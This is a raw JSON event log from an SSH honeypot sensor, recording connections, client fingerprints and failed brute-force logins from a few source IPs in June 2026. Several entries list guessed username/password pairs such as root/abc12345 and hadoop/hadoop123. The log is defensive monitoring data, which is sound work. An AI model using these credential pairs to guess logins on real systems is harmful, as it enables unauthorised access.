{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:08.443089Z","src_ip":"45.79.181.94","session":"00a042f817b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:08.452990Z","src_ip":"45.79.181.94","session":"00a042f817b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.181.94","src_port":43050,"dst_ip":"159.203.135.109","dst_port":22,"session":"94f8e517e20e","protocol":"ssh","message":"New connection: 45.79.181.94:43050 (159.203.135.109:22) [session: 94f8e517e20e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:08.477731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:08.481393Z","src_ip":"45.79.181.94","session":"94f8e517e20e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:08.486192Z","src_ip":"45.79.181.94","session":"94f8e517e20e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:08.494841Z","src_ip":"45.79.181.94","session":"94f8e517e20e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:08.612568Z","src_ip":"45.153.34.195","session":"530c4030fb37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":25412,"dst_ip":"10.17.0.5","dst_port":22,"session":"7145ece481d8","protocol":"ssh","message":"New connection: 45.153.34.195:25412 (10.17.0.5:22) [session: 7145ece481d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:10.136260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:10.141178Z","src_ip":"45.153.34.195","session":"7145ece481d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:10.230337Z","src_ip":"45.153.34.195","session":"7145ece481d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.8","message":"Connection lost after 20.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:10.476942Z","src_ip":"91.92.40.36","session":"8c22e23e839f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"ts3server","message":"login attempt [ts3server/ts3server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:10.481088Z","src_ip":"45.153.34.195","session":"7145ece481d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43334,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee911ac49568","protocol":"ssh","message":"New connection: 91.92.40.36:43334 (159.203.135.109:22) [session: ee911ac49568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:11.046342Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:11.564043Z","src_ip":"45.153.34.195","session":"7145ece481d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":46614,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e95a7131812","protocol":"ssh","message":"New connection: 45.153.34.195:46614 (10.17.0.5:22) [session: 9e95a7131812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:12.986188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:12.990545Z","src_ip":"45.153.34.195","session":"9e95a7131812","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:13.072300Z","src_ip":"45.153.34.195","session":"9e95a7131812","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:13.326247Z","src_ip":"45.153.34.195","session":"9e95a7131812","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:14.410689Z","src_ip":"45.153.34.195","session":"9e95a7131812","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdlkj12","message":"login attempt [ubuntu/asdlkj12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:14.919211Z","src_ip":"91.92.40.36","session":"d6303417c615","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:14.946547Z","src_ip":"91.92.40.36","session":"ee911ac49568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:14.949554Z","src_ip":"91.92.40.36","session":"ee911ac49568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":46626,"dst_ip":"10.17.0.5","dst_port":22,"session":"523b4a0271cd","protocol":"ssh","message":"New connection: 45.153.34.195:46626 (10.17.0.5:22) [session: 523b4a0271cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:16.013333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:16.037683Z","src_ip":"45.153.34.195","session":"523b4a0271cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:16.111811Z","src_ip":"45.153.34.195","session":"523b4a0271cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:16.420068Z","src_ip":"45.153.34.195","session":"523b4a0271cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:17.502998Z","src_ip":"45.153.34.195","session":"523b4a0271cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":46634,"dst_ip":"10.17.0.5","dst_port":22,"session":"dce5471408e6","protocol":"ssh","message":"New connection: 45.153.34.195:46634 (10.17.0.5:22) [session: dce5471408e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:18.905769Z"}
{"eventid":"cowrie.session.closed","duration":"21.7","message":"Connection lost after 21.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:18.940274Z","src_ip":"91.92.40.36","session":"d6303417c615","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:18.975037Z","src_ip":"45.153.34.195","session":"dce5471408e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:19.040563Z","src_ip":"45.153.34.195","session":"dce5471408e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:19.427654Z","src_ip":"45.153.34.195","session":"dce5471408e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":11980,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e16e9df5cd3","protocol":"ssh","message":"New connection: 91.92.40.36:11980 (159.203.135.109:22) [session: 1e16e9df5cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:19.943107Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:20.580379Z","src_ip":"45.153.34.195","session":"dce5471408e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daemon","password":"123qwe","message":"login attempt [daemon/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:20.592716Z","src_ip":"91.92.40.36","session":"d32e9d09036f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":46636,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d683df1ca62","protocol":"ssh","message":"New connection: 45.153.34.195:46636 (10.17.0.5:22) [session: 4d683df1ca62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:21.722799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:21.742247Z","src_ip":"45.153.34.195","session":"4d683df1ca62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:21.824333Z","src_ip":"45.153.34.195","session":"4d683df1ca62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"1234","message":"login attempt [rocky/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:22.444506Z","src_ip":"45.153.34.195","session":"4d683df1ca62","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:23.421871Z","src_ip":"91.92.40.36","session":"1e16e9df5cd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:23.425340Z","src_ip":"91.92.40.36","session":"1e16e9df5cd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:23.627774Z","src_ip":"45.153.34.195","session":"4d683df1ca62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":47738,"dst_ip":"10.17.0.5","dst_port":22,"session":"cec5f3080baf","protocol":"ssh","message":"New connection: 45.153.34.195:47738 (10.17.0.5:22) [session: cec5f3080baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:24.607975Z"}
